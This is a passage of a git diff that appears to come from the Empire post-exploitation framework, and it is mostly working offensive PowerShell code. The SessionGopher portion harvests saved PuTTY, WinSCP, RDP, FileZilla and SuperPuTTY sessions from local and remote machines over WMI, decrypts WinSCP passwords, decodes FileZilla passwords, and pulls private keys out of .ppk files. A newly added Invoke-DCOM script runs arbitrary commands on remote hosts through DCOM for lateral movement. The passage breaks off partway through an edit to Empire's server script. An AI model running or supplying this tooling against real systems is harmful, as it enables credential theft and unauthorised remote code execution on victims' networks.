$ArrayOfPuTTYSessions | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY.csv") -NoTypeInformation
} else {
Write-Output "PuTTY Sessions"
$ArrayOfPuTTYSessions | Select-Object * | Format-List | Out-String
}
}
} # If PuTTY session exists
if (($RDPSessions | Select-Object -ExpandPropert ReturnValue) -eq 0) {
# Get all sessions
$RDPSessions = $RDPSessions | Select-Object -ExpandProperty sNames
foreach ($RDPSession in $RDPSessions) {
$RDPSessionObject = "" | Select-Object -Property Source,Hostname,Username
$Location = $RDPPath + "\" + $RDPSession
$RDPSessionObject.Source = $Source
$RDPSessionObject.Hostname = $RDPSession
$RDPSessionObject.Username = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"UserNameHint" @optionalCreds).sValue
[void]$ArrayOfRDPSessions.Add($RDPSessionObject)
}
if ($ArrayOfRDPSessions.count -gt 0) {
$UserObject | Add-Member -MemberType NoteProperty -Name "RDP Sessions" -Value $ArrayOfRDPSessions
if ($o) {
$ArrayOfRDPSessions | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\RDP.csv") -NoTypeInformation
} else {
Write-Output "Microsoft RDP Sessions"
$ArrayOfRDPSessions | Select-Object * | Format-List | Out-String
}
}
} # If RDP sessions exist
# If we find the SuperPuTTY Sessions.xml file where we would expect it
if ($SuperPuTTYPath.Name) {
$File = "C:\Users\$MappedUserName\Documents\SuperPuTTY\Sessions.xml"
$FileContents = DownloadAndExtractFromRemoteRegistry $File
[xml]$SuperPuTTYXML = $FileContents
(ProcessSuperPuTTYFile $SuperPuTTYXML)
}
# If we find the FileZilla sitemanager.xml file where we would expect it
if ($FileZillaPath.Name) {
$File = "C:\Users\$MappedUserName\AppData\Roaming\FileZilla\sitemanager.xml"
$FileContents = DownloadAndExtractFromRemoteRegistry $File
[xml]$FileZillaXML = $FileContents
(ProcessFileZillaFile $FileZillaXML)
} # FileZilla
} # for each SID
if ($Thorough) {
$ArrayofPPKFiles = New-Object System.Collections.ArrayList
$ArrayofRDPFiles = New-Object System.Collections.ArrayList
$ArrayofsdtidFiles = New-Object System.Collections.ArrayList
$FilePathsFound = (Get-WmiObject -Class 'CIM_DataFile' -Filter "Drive='C:' AND extension='ppk' OR extension='rdp' OR extension='.sdtid'" -ComputerName $RemoteComputer @optionalCreds | Select Name)
(ProcessThoroughRemote $FilePathsFound)
}
} # for each remote computer
# Else, we run SessionGopher locally
} else {
Write-Host -NoNewLine -ForegroundColor "DarkGreen" "[+] "
Write-Host "Digging on"(Hostname)"..."
# Aggregate all user hives in HKEY_USERS into a variable
$UserHives = Get-ChildItem Registry::HKEY_USERS\ -ErrorAction SilentlyContinue | Where-Object {$_.Name -match '^HKEY_USERS\\S-1-5-21-[\d\-]+$'}
# For each SID beginning in S-15-21-. Loops through each user hive in HKEY_USERS.
foreach($Hive in $UserHives) {
# Created for each user found. Contains all PuTTY, WinSCP, FileZilla, RDP information.
$UserObject = New-Object PSObject
$ArrayOfWinSCPSessions = New-Object System.Collections.ArrayList
$ArrayOfPuTTYSessions = New-Object System.Collections.ArrayList
$ArrayOfPPKFiles = New-Object System.Collections.ArrayList
$ArrayOfSuperPuTTYSessions = New-Object System.Collections.ArrayList
$ArrayOfRDPSessions = New-Object System.Collections.ArrayList
$ArrayOfRDPFiles = New-Object System.Collections.ArrayList
$ArrayOfFileZillaSessions = New-Object System.Collections.ArrayList
$objUser = (GetMappedSID)
$Source = (Hostname) + "\" + (Split-Path $objUser.Value -Leaf)
$UserObject | Add-Member -MemberType NoteProperty -Name "Source" -Value $objUser.Value
# Construct PuTTY, WinSCP, RDP, FileZilla session paths from base key
$PuTTYPath = Join-Path $Hive.PSPath "\$PuTTYPathEnding"
$WinSCPPath = Join-Path $Hive.PSPath "\$WinSCPPathEnding"
$MicrosoftRDPPath = Join-Path $Hive.PSPath "\$RDPPathEnding"
$FileZillaPath = "C:\Users\" + (Split-Path -Leaf $UserObject."Source") + "\AppData\Roaming\FileZilla\sitemanager.xml"
$SuperPuTTYPath = "C:\Users\" + (Split-Path -Leaf $UserObject."Source") + "\Documents\SuperPuTTY\Sessions.xml"
if (Test-Path $FileZillaPath) {
[xml]$FileZillaXML = Get-Content $FileZillaPath
(ProcessFileZillaFile $FileZillaXML)
}
if (Test-Path $SuperPuTTYPath) {
[xml]$SuperPuTTYXML = Get-Content $SuperPuTTYPath
(ProcessSuperPuTTYFile $SuperPuTTYXML)
}
if (Test-Path $MicrosoftRDPPath) {
# Aggregates all saved sessions from that user's RDP client
$AllRDPSessions = Get-ChildItem $MicrosoftRDPPath
(ProcessRDPLocal $AllRDPSessions)
} # If (Test-Path MicrosoftRDPPath)
if (Test-Path $WinSCPPath) {
# Aggregates all saved sessions from that user's WinSCP client
$AllWinSCPSessions = Get-ChildItem $WinSCPPath
(ProcessWinSCPLocal $AllWinSCPSessions)
} # If (Test-Path WinSCPPath)
if (Test-Path $PuTTYPath) {
# Aggregates all saved sessions from that user's PuTTY client
$AllPuTTYSessions = Get-ChildItem $PuTTYPath
(ProcessPuTTYLocal $AllPuTTYSessions)
} # If (Test-Path PuTTYPath)
} # For each Hive in UserHives
# If run in Thorough Mode
if ($Thorough) {
# Contains raw i-node data for files with extension .ppk, .rdp, and sdtid respectively, found by Get-ChildItem
$PPKExtensionFilesINodes = New-Object System.Collections.ArrayList
$RDPExtensionFilesINodes = New-Object System.Collections.ArrayList
$sdtidExtensionFilesINodes = New-Object System.Collections.ArrayList
# All drives found on system in one variable
$AllDrives = Get-PSDrive
(ProcessThoroughLocal $AllDrives)
(ProcessPPKFile $PPKExtensionFilesINodes)
(ProcessRDPFile $RDPExtensionFilesINodes)
(ProcesssdtidFile $sdtidExtensionFilesINodes)
} # If Thorough
} # Else -- run SessionGopher locally
} # Invoke-SessionGopher
####################################################################################
####################################################################################
## Registry Querying Helper Functions
####################################################################################
####################################################################################
# Maps the SID from HKEY_USERS to a username through the HKEY_LOCAL_MACHINE hive
function GetMappedSID {
# If getting SID from remote computer
if ($iL -or $Target -or $AllDomain) {
# Get the username for SID we discovered has saved sessions
$SIDPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\$SID"
$Value = "ProfileImagePath"
return (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $HKLM,$SIDPath,$Value @optionalCreds).sValue
# Else, get local SIDs
} else {
# Converts user SID in HKEY_USERS to username
$SID = (Split-Path $Hive.Name -Leaf)
$objSID = New-Object System.Security.Principal.SecurityIdentifier("$SID")
return $objSID.Translate( [System.Security.Principal.NTAccount])
}
}
function DownloadAndExtractFromRemoteRegistry($File) {
# The following code is taken from Christopher Truncer's WMIOps script on GitHub. It gets file contents through WMI by
# downloading the file's contents to the remote computer's registry, and then extracting the value from that registry location
$fullregistrypath = "HKLM:\Software\Microsoft\DRM"
$registrydownname = "ReadMe"
$regpath = "SOFTWARE\Microsoft\DRM"
# On remote system, save file to registry
Write-Verbose "Reading remote file and writing on remote registry"
$remote_command = '$fct = Get-Content -Encoding byte -Path ''' + "$File" + '''; $fctenc = [System.Convert]::ToBase64String($fct); New-ItemProperty -Path ' + "'$fullregistrypath'" + ' -Name ' + "'$registrydownname'" + ' -Value $fctenc -PropertyType String -Force'
$remote_command = 'powershell -nop -exec bypass -c "' + $remote_command + '"'
$null = Invoke-WmiMethod -class win32_process -Name Create -Argumentlist $remote_command -ComputerName $RemoteComputer @optionalCreds
# Sleeping to let remote system read and store file
Start-Sleep -s 15
$remote_reg = ""
# Grab file from remote system's registry
$remote_reg = Invoke-WmiMethod -Namespace 'root\default' -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $HKLM, $regpath, $registrydownname -Computer $RemoteComputer @optionalCreds
$decoded = [System.Convert]::FromBase64String($remote_reg.sValue)
$UTF8decoded = [System.Text.Encoding]::UTF8.GetString($decoded)
# Removing Registry value from remote system
$null = Invoke-WmiMethod -Namespace 'root\default' -Class 'StdRegProv' -Name 'DeleteValue' -Argumentlist $reghive, $regpath, $registrydownname -ComputerName $RemoteComputer @optionalCreds
return $UTF8decoded
}
####################################################################################
####################################################################################
## File Processing Helper Functions
####################################################################################
####################################################################################
function ProcessThoroughLocal($AllDrives) {
foreach ($Drive in $AllDrives) {
# If the drive holds a filesystem
if ($Drive.Provider.Name -eq "FileSystem") {
$Dirs = Get-ChildItem $Drive.Root -Recurse -ErrorAction SilentlyContinue
foreach ($Dir in $Dirs) {
Switch ($Dir.Extension) {
".ppk" {[void]$PPKExtensionFilesINodes.Add($Dir)}
".rdp" {[void]$RDPExtensionFilesINodes.Add($Dir)}
".sdtid" {[void]$sdtidExtensionFilesINodes.Add($Dir)}
}
}
}
}
}
function ProcessThoroughRemote($FilePathsFound) {
foreach ($FilePath in $FilePathsFound) {
# Each object we create for the file extension found from a -Thorough search will have the same properties (Source, Path to File)
$ThoroughObject = "" | Select-Object -Property Source,Path
$ThoroughObject.Source = $RemoteComputer
$Extension = [IO.Path]::GetExtension($FilePath.Name)
if ($Extension -eq ".ppk") {
$ThoroughObject.Path = $FilePath.Name
[void]$ArrayofPPKFiles.Add($ThoroughObject)
} elseif ($Extension -eq ".rdp") {
$ThoroughObject.Path = $FilePath.Name
[void]$ArrayofRDPFiles.Add($ThoroughObject)
} elseif ($Extension -eq ".sdtid") {
$ThoroughObject.Path = $FilePath.Name
[void]$ArrayofsdtidFiles.Add($ThoroughObject)
}
}
if ($ArrayOfPPKFiles.count -gt 0) {
$UserObject | Add-Member -MemberType NoteProperty -Name "PPK Files" -Value $ArrayOfRDPFiles
if ($o) {
$ArrayOfPPKFiles | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY ppk Files.csv") -NoTypeInformation
} else {
Write-Output "PuTTY Private Key Files (.ppk)"
$ArrayOfPPKFiles | Format-List | Out-String
}
}
if ($ArrayOfRDPFiles.count -gt 0) {
$UserObject | Add-Member -MemberType NoteProperty -Name "RDP Files" -Value $ArrayOfRDPFiles
if ($o) {
$ArrayOfRDPFiles | Export-CSV -Append -Path ($OutputDirectory + "\Microsoft rdp Files.csv") -NoTypeInformation
} else {
Write-Output "Microsoft RDP Connection Files (.rdp)"
$ArrayOfRDPFiles | Format-List | Out-String
}
}
if ($ArrayOfsdtidFiles.count -gt 0) {
$UserObject | Add-Member -MemberType NoteProperty -Name "sdtid Files" -Value $ArrayOfsdtidFiles
if ($o) {
$ArrayOfsdtidFiles | Export-CSV -Append -Path ($OutputDirectory + "\RSA sdtid Files.csv") -NoTypeInformation
} else {
Write-Output "RSA Tokens (sdtid)"
$ArrayOfsdtidFiles | Format-List | Out-String
}
}
} # ProcessThoroughRemote
function ProcessPuTTYLocal($AllPuTTYSessions) {
# For each PuTTY saved session, extract the information we want
foreach($Session in $AllPuTTYSessions) {
$PuTTYSessionObject = "" | Select-Object -Property Source,Session,Hostname
$PuTTYSessionObject.Source = $Source
$PuTTYSessionObject.Session = (Split-Path $Session -Leaf)
$PuTTYSessionObject.Hostname = ((Get-ItemProperty -Path ("Microsoft.PowerShell.Core\Registry::" + $Session) -Name "Hostname" -ErrorAction SilentlyContinue).Hostname)
# ArrayList.Add() by default prints the index to which it adds the element. Casting to [void] silences this.
[void]$ArrayOfPuTTYSessions.Add($PuTTYSessionObject)
}
if ($o) {
$ArrayOfPuTTYSessions | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY.csv") -NoTypeInformation
} else {
Write-Output "PuTTY Sessions"
$ArrayOfPuTTYSessions | Format-List | Out-String
}
# Add the array of PuTTY session objects to UserObject
$UserObject | Add-Member -MemberType NoteProperty -Name "PuTTY Sessions" -Value $ArrayOfPuTTYSessions
} # ProcessPuTTYLocal
function ProcessRDPLocal($AllRDPSessions) {
# For each RDP saved session, extract the information we want
foreach($Session in $AllRDPSessions) {
$PathToRDPSession = "Microsoft.PowerShell.Core\Registry::" + $Session
$MicrosoftRDPSessionObject = "" | Select-Object -Property Source,Hostname,Username
$MicrosoftRDPSessionObject.Source = $Source
$MicrosoftRDPSessionObject.Hostname = (Split-Path $Session -Leaf)
$MicrosoftRDPSessionObject.Username = ((Get-ItemProperty -Path $PathToRDPSession -Name "UsernameHint" -ErrorAction SilentlyContinue).UsernameHint)
# ArrayList.Add() by default prints the index to which it adds the element. Casting to [void] silences this.
[void]$ArrayOfRDPSessions.Add($MicrosoftRDPSessionObject)
} # For each Session in AllRDPSessions
if ($o) {
$ArrayOfRDPSessions | Export-CSV -Append -Path ($OutputDirectory + "\RDP.csv") -NoTypeInformation
} else {
Write-Output "Microsoft Remote Desktop (RDP) Sessions"
$ArrayOfRDPSessions | Format-List | Out-String
}
# Add the array of RDP session objects to UserObject
$UserObject | Add-Member -MemberType NoteProperty -Name "RDP Sessions" -Value $ArrayOfRDPSessions
} #ProcessRDPLocal
function ProcessWinSCPLocal($AllWinSCPSessions) {
# For each WinSCP saved session, extract the information we want
foreach($Session in $AllWinSCPSessions) {
$PathToWinSCPSession = "Microsoft.PowerShell.Core\Registry::" + $Session
$WinSCPSessionObject = "" | Select-Object -Property Source,Session,Hostname,Username,Password
$WinSCPSessionObject.Source = $Source
$WinSCPSessionObject.Session = (Split-Path $Session -Leaf)
$WinSCPSessionObject.Hostname = ((Get-ItemProperty -Path $PathToWinSCPSession -Name "Hostname" -ErrorAction SilentlyContinue).Hostname)
$WinSCPSessionObject.Username = ((Get-ItemProperty -Path $PathToWinSCPSession -Name "Username" -ErrorAction SilentlyContinue).Username)
$WinSCPSessionObject.Password = ((Get-ItemProperty -Path $PathToWinSCPSession -Name "Password" -ErrorAction SilentlyContinue).Password)
if ($WinSCPSessionObject.Password) {
$MasterPassUsed = ((Get-ItemProperty -Path (Join-Path $Hive.PSPath "SOFTWARE\Martin Prikryl\WinSCP 2\Configuration\Security") -Name "UseMasterPassword" -ErrorAction SilentlyContinue).UseMasterPassword)
# If the user is not using a master password, we can crack it:
if (!$MasterPassUsed) {
$WinSCPSessionObject.Password = (DecryptWinSCPPassword $WinSCPSessionObject.Hostname $WinSCPSessionObject.Username $WinSCPSessionObject.Password)
# Else, the user is using a master password. We can't retrieve plaintext credentials for it.
} else {
$WinSCPSessionObject.Password = "Saved in session, but master password prevents plaintext recovery"
}
}
# ArrayList.Add() by default prints the index to which it adds the element. Casting to [void] silences this.
[void]$ArrayOfWinSCPSessions.Add($WinSCPSessionObject)
} # For each Session in AllWinSCPSessions
if ($o) {
$ArrayOfWinSCPSessions | Export-CSV -Append -Path ($OutputDirectory + "\WinSCP.csv") -NoTypeInformation
} else {
Write-Output "WinSCP Sessions"
$ArrayOfWinSCPSessions | Format-List | Out-String
}
# Add the array of WinSCP session objects to the target user object
$UserObject | Add-Member -MemberType NoteProperty -Name "WinSCP Sessions" -Value $ArrayOfWinSCPSessions
} # ProcessWinSCPLocal
function ProcesssdtidFile($sdtidExtensionFilesINodes) {
foreach ($Path in $sdtidExtensionFilesINodes.VersionInfo.FileName) {
$sdtidFileObject = "" | Select-Object -Property "Source","Path"
$sdtidFileObject."Source" = $Source
$sdtidFileObject."Path" = $Path
[void]$ArrayOfsdtidFiles.Add($sdtidFileObject)
}
if ($ArrayOfsdtidFiles.count -gt 0) {
$UserObject | Add-Member -MemberType NoteProperty -Name "sdtid Files" -Value $ArrayOfsdtidFiles
if ($o) {
$ArrayOfsdtidFiles | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\RSA sdtid Files.csv") -NoTypeInformation
} else {
Write-Output "RSA Tokens (sdtid)"
$ArrayOfsdtidFiles | Select-Object * | Format-List | Out-String
}
}
} # Process sdtid File
function ProcessRDPFile($RDPExtensionFilesINodes) {
# Extracting the filepath from the i-node information stored in RDPExtensionFilesINodes
foreach ($Path in $RDPExtensionFilesINodes.VersionInfo.FileName) {
$RDPFileObject = "" | Select-Object -Property "Source","Path","Hostname","Gateway","Prompts for Credentials","Administrative Session"
$RDPFileObject."Source" = (Hostname)
# The next several lines use regex pattern matching to store relevant info from the .rdp file into our object
$RDPFileObject."Path" = $Path
$RDPFileObject."Hostname" = try { (Select-String -Path $Path -Pattern "full address:[a-z]:(.*)").Matches.Groups[1].Value } catch {}
$RDPFileObject."Gateway" = try { (Select-String -Path $Path -Pattern "gatewayhostname:[a-z]:(.*)").Matches.Groups[1].Value } catch {}
$RDPFileObject."Administrative Session" = try { (Select-String -Path $Path -Pattern "administrative session:[a-z]:(.*)").Matches.Groups[1].Value } catch {}
$RDPFileObject."Prompts for Credentials" = try { (Select-String -Path $Path -Pattern "prompt for credentials:[a-z]:(.*)").Matches.Groups[1].Value } catch {}
if (!$RDPFileObject."Administrative Session" -or !$RDPFileObject."Administrative Session" -eq 0) {
$RDPFileObject."Administrative Session" = "Does not connect to admin session on remote host"
} else {
$RDPFileObject."Administrative Session" = "Connects to admin session on remote host"
}
if (!$RDPFileObject."Prompts for Credentials" -or $RDPFileObject."Prompts for Credentials" -eq 0) {
$RDPFileObject."Prompts for Credentials" = "No"
} else {
$RDPFileObject."Prompts for Credentials" = "Yes"
}
[void]$ArrayOfRDPFiles.Add($RDPFileObject)
}
if ($ArrayOfRDPFiles.count -gt 0) {
$UserObject | Add-Member -MemberType NoteProperty -Name "RDP Files" -Value $ArrayOfRDPFiles
if ($o) {
$ArrayOfRDPFiles | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\Microsoft rdp Files.csv") -NoTypeInformation
} else {
Write-Output "Microsoft RDP Connection Files (.rdp)"
$ArrayOfRDPFiles | Select-Object * | Format-List | Out-String
}
}
} # Process RDP File
function ProcessPPKFile($PPKExtensionFilesINodes) {
# Extracting the filepath from the i-node information stored in PPKExtensionFilesINodes
foreach ($Path in $PPKExtensionFilesINodes.VersionInfo.FileName) {
# Private Key Encryption property identifies whether the private key in this file is encrypted or if it can be used as is
$PPKFileObject = "" | Select-Object -Property "Source","Path","Protocol","Comment","Private Key Encryption","Private Key","Private MAC"
$PPKFileObject."Source" = (Hostname)
# The next several lines use regex pattern matching to store relevant info from the .ppk file into our object
$PPKFileObject."Path" = $Path
$PPKFileObject."Protocol" = try { (Select-String -Path $Path -Pattern ": (.*)" -Context 0,0).Matches.Groups[1].Value } catch {}
$PPKFileObject."Private Key Encryption" = try { (Select-String -Path $Path -Pattern "Encryption: (.*)").Matches.Groups[1].Value } catch {}
$PPKFileObject."Comment" = try { (Select-String -Path $Path -Pattern "Comment: (.*)").Matches.Groups[1].Value } catch {}
$NumberOfPrivateKeyLines = try { (Select-String -Path $Path -Pattern "Private-Lines: (.*)").Matches.Groups[1].Value } catch {}
$PPKFileObject."Private Key" = try { (Select-String -Path $Path -Pattern "Private-Lines: (.*)" -Context 0,$NumberOfPrivateKeyLines).Context.PostContext -Join "" } catch {}
$PPKFileObject."Private MAC" = try { (Select-String -Path $Path -Pattern "Private-MAC: (.*)").Matches.Groups[1].Value } catch {}
# Add the object we just created to the array of .ppk file objects
[void]$ArrayOfPPKFiles.Add($PPKFileObject)
}
if ($ArrayOfPPKFiles.count -gt 0) {
$UserObject | Add-Member -MemberType NoteProperty -Name "PPK Files" -Value $ArrayOfPPKFiles
if ($o) {
$ArrayOfPPKFiles | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY ppk Files.csv") -NoTypeInformation
} else {
Write-Output "PuTTY Private Key Files (.ppk)"
$ArrayOfPPKFiles | Select-Object * | Format-List | Out-String
}
}
} # Process PPK File
function ProcessFileZillaFile($FileZillaXML) {
# Locate all <Server> nodes (aka session nodes), iterate over them
foreach($FileZillaSession in $FileZillaXML.SelectNodes('//FileZilla3/Servers/Server')) {
# Hashtable to store each session's data
$FileZillaSessionHash = @{}
# Iterates over each child node under <Server> (aka session)
$FileZillaSession.ChildNodes | ForEach-Object {
$FileZillaSessionHash["Source"] = $Source
# If value exists, make a key-value pair for it in the hash table
if ($_.InnerText) {
if ($_.Name -eq "Pass") {
$FileZillaSessionHash["Password"] = $_.InnerText
} else {
# Populate session data based on the node name
$FileZillaSessionHash[$_.Name] = $_.InnerText
}
}
}
# Create object from collected data, excluding some trivial information
[void]$ArrayOfFileZillaSessions.Add((New-Object PSObject -Property $FileZillaSessionHash | Select-Object -Property * -ExcludeProperty "#text",LogonType,Type,BypassProxy,SyncBrowsing,PasvMode,DirectoryComparison,MaximumMultipleConnections,EncodingType,TimezoneOffset,Colour))
} # ForEach FileZillaSession in FileZillaXML.SelectNodes()
# base64_decode the stored encoded session passwords, and decode protocol
foreach ($Session in $ArrayOfFileZillaSessions) {
$Session.Password = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($Session.Password))
if ($Session.Protocol -eq "0") {
$Session.Protocol = "Use FTP over TLS if available"
} elseif ($Session.Protocol -eq 1) {
$Session.Protocol = "Use SFTP"
} elseif ($Session.Protocol -eq 3) {
$Session.Protocol = "Require implicit FTP over TLS"
} elseif ($Session.Protocol -eq 4) {
$Session.Protocol = "Require explicit FTP over TLS"
} elseif ($Session.Protocol -eq 6) {
$Session.Protocol = "Only use plain FTP (insecure)"
}
}
if ($o) {
$ArrayOfFileZillaSessions | Export-CSV -Append -Path ($OutputDirectory + "\FileZilla.csv") -NoTypeInformation
} else {
Write-Output "FileZilla Sessions"
$ArrayOfFileZillaSessions | Format-List | Out-String
}
# Add the array of FileZilla session objects to the target user object
$UserObject | Add-Member -MemberType NoteProperty -Name "FileZilla Sessions" -Value $ArrayOfFileZillaSessions
} # ProcessFileZillaFile
function ProcessSuperPuTTYFile($SuperPuTTYXML) {
foreach($SuperPuTTYSessions in $SuperPuTTYXML.ArrayOfSessionData.SessionData) {
foreach ($SuperPuTTYSession in $SuperPuTTYSessions) {
if ($SuperPuTTYSession -ne $null) {
$SuperPuTTYSessionObject = "" | Select-Object -Property "Source","SessionId","SessionName","Host","Username","ExtraArgs","Port","Putty Session"
$SuperPuTTYSessionObject."Source" = $Source
$SuperPuTTYSessionObject."SessionId" = $SuperPuTTYSession.SessionId
$SuperPuTTYSessionObject."SessionName" = $SuperPuTTYSession.SessionName
$SuperPuTTYSessionObject."Host" = $SuperPuTTYSession.Host
$SuperPuTTYSessionObject."Username" = $SuperPuTTYSession.Username
$SuperPuTTYSessionObject."ExtraArgs" = $SuperPuTTYSession.ExtraArgs
$SuperPuTTYSessionObject."Port" = $SuperPuTTYSession.Port
$SuperPuTTYSessionObject."PuTTY Session" = $SuperPuTTYSession.PuttySession
[void]$ArrayOfSuperPuTTYSessions.Add($SuperPuTTYSessionObject)
}
}
} # ForEach SuperPuTTYSessions
if ($o) {
$ArrayOfSuperPuTTYSessions | Export-CSV -Append -Path ($OutputDirectory + "\SuperPuTTY.csv") -NoTypeInformation
} else {
Write-Output "SuperPuTTY Sessions"
$ArrayOfSuperPuTTYSessions | Out-String
}
# Add the array of SuperPuTTY session objects to the target user object
$UserObject | Add-Member -MemberType NoteProperty -Name "SuperPuTTY Sessions" -Value $ArrayOfSuperPuTTYSessions
} # ProcessSuperPuTTYFile
####################################################################################
####################################################################################
## WinSCP Deobfuscation Helper Functions
####################################################################################
####################################################################################
# Gets all domain-joined computer names and properties in one object
function GetComputersFromActiveDirectory {
$strCategory = "computer"
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher
$objSearcher.SearchRoot = $objDomain
$objSearcher.Filter = ("(objectCategory=$strCategory)")
$colProplist = "name"
foreach ($i in $colPropList){$objSearcher.PropertiesToLoad.Add($i)}
return $objSearcher.FindAll()
}
function DecryptNextCharacterWinSCP($remainingPass) {
# Creates an object with flag and remainingPass properties
$flagAndPass = "" | Select-Object -Property flag,remainingPass
# Shift left 4 bits equivalent for backwards compatibility with older PowerShell versions
$firstval = ("0123456789ABCDEF".indexOf($remainingPass[0]) * 16)
$secondval = "0123456789ABCDEF".indexOf($remainingPass[1])
$Added = $firstval + $secondval
$decryptedResult = (((-bnot ($Added -bxor $Magic)) % 256) + 256) % 256
$flagAndPass.flag = $decryptedResult
$flagAndPass.remainingPass = $remainingPass.Substring(2)
return $flagAndPass
}
function DecryptWinSCPPassword($SessionHostname, $SessionUsername, $Password) {
$CheckFlag = 255
$Magic = 163
$len = 0
$key = $SessionHostname + $SessionUsername
$values = DecryptNextCharacterWinSCP($Password)
$storedFlag = $values.flag
if ($values.flag -eq $CheckFlag) {
$values.remainingPass = $values.remainingPass.Substring(2)
$values = DecryptNextCharacterWinSCP($values.remainingPass)
}
$len = $values.flag
$values = DecryptNextCharacterWinSCP($values.remainingPass)
$values.remainingPass = $values.remainingPass.Substring(($values.flag * 2))
$finalOutput = ""
for ($i=0; $i -lt $len; $i++) {
$values = (DecryptNextCharacterWinSCP($values.remainingPass))
$finalOutput += [char]$values.flag
}
if ($storedFlag -eq $CheckFlag) {
return $finalOutput.Substring($key.length)
}
return $finalOutput
}

View File

@ -0,0 +1,174 @@
<#
DCOM Lateral Movement
Author: Steve Borosh (@rvrsh3ll)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
#>
function Invoke-DCOM {
<#
.SYNOPSIS
Execute's commands via various DCOM methods as demonstrated by (@enigma0x3)
http://www.enigma0x3.net
Author: Steve Borosh (@rvrsh3ll)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Invoke commands on remote hosts via MMC20.Application COM object over DCOM.
.PARAMETER Target
IP Address or Hostname of the remote system
.PARAMETER Type
Specifies the desired type of execution
.PARAMETER Command
Specifies the desired command to be executed
.EXAMPLE
Import-Module .\Invoke-DCOM.ps1
Invoke-DCOM -Target '192.168.2.100' -Type MMC20 -Command "calc.exe"
Invoke-DCOM -Target '192.168.2.100' -Type ServiceStart "MyService"
#>
[CmdletBinding()]
Param (
[Parameter(Mandatory = $true, Position = 0, ValueFromPipeLine = $true, ValueFromPipelineByPropertyName = $true)]
[String]
$ComputerName,
[Parameter(Mandatory = $true, Position = 1)]
[ValidateSet("MMC20", "ShellWindows","ShellBrowserWindow","CheckDomain","ServiceCheck","MinimizeAll","ServiceStop","ServiceStart")]
[String]
$Method = "MMC20",
[Parameter(Mandatory = $false, Position = 2)]
[string]
$ServiceName,
[Parameter(Mandatory = $false, Position = 3)]
[string]
$Command= "calc.exe"
)
Begin {
#Declare some DCOM objects
if ($Method -Match "ShellWindows") {
[String]$DCOM = '9BA05972-F6A8-11CF-A442-00A0C90A8F39'
}
elseif ($Method -Match "ShellBrowserWindow") {
[String]$DCOM = 'C08AFD90-F2A1-11D1-8455-00A0C91F3880'
}
elseif ($Method -Match "CheckDomain") {
[String]$DCOM = 'C08AFD90-F2A1-11D1-8455-00A0C91F3880'
}
elseif ($Method -Match "ServiceCheck") {
[String]$DCOM = 'C08AFD90-F2A1-11D1-8455-00A0C91F3880'
}
elseif ($Method -Match "MinimizeAll") {
[String]$DCOM = 'C08AFD90-F2A1-11D1-8455-00A0C91F3880'
}
elseif ($Method -Match "ServiceStop") {
[String]$DCOM = 'C08AFD90-F2A1-11D1-8455-00A0C91F3880'
}
elseif ($Method -Match "ServiceStart") {
[String]$DCOM = 'C08AFD90-F2A1-11D1-8455-00A0C91F3880'
}
}
Process {
#Begin main process block
#Check for which type we are using and apply options accordingly
if ($Method -Match "MMC20") {
$Com = [Type]::GetTypeFromProgID("MMC20.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$Obj.Document.ActiveView.ExecuteShellCommand($Command,$null,$null,"7")
}
elseif ($Method -Match "ShellWindows") {
$Com = [Type]::GetTypeFromCLSID("$DCOM","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$Item = $Obj.Item()
$Item.Document.Application.ShellExecute("cmd.exe","/c $Command","c:\windows\system32",$null,0)
}
elseif ($Method -Match "ShellBrowserWindow") {
$Com = [Type]::GetTypeFromCLSID("$DCOM","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$Obj.Document.Application.ShellExecute("cmd.exe","/c $Command","c:\windows\system32",$null,0)
}
elseif ($Method -Match "CheckDomain") {
$Com = [Type]::GetTypeFromCLSID("$DCOM","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$Obj.Document.Application.GetSystemInformation("IsOS_DomainMember")
}
elseif ($Method -Match "ServiceCheck") {
$Com = [Type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Document.Application.IsServiceRunning("$ServiceName")
}
elseif ($Method -Match "MinimizeAll") {
$Com = [Type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Document.Application.MinimizeAll()
}
elseif ($Method -Match "ServiceStop") {
$Com = [Type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Document.Application.ServiceStop("$ServiceName")
}
elseif ($Method -Match "ServiceStart") {
$Com = [Type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Document.Application.ServiceStart("$ServiceName")
}
}
End {
Write-Output "Completed"
}
}

276
empire
View File

@ -1,7 +1,7 @@
#!/usr/bin/python
import sqlite3, argparse, sys, argparse, logging, json, string
import os, re, time, signal, copy, base64
import os, re, time, signal, copy, base64, pickle
from flask import Flask, request, jsonify, make_response, abort, url_for
from time import localtime, strftime
from OpenSSL import SSL
@ -158,13 +158,18 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
global serverExitCommand
# if a username/password were not supplied, use the creds stored in the db
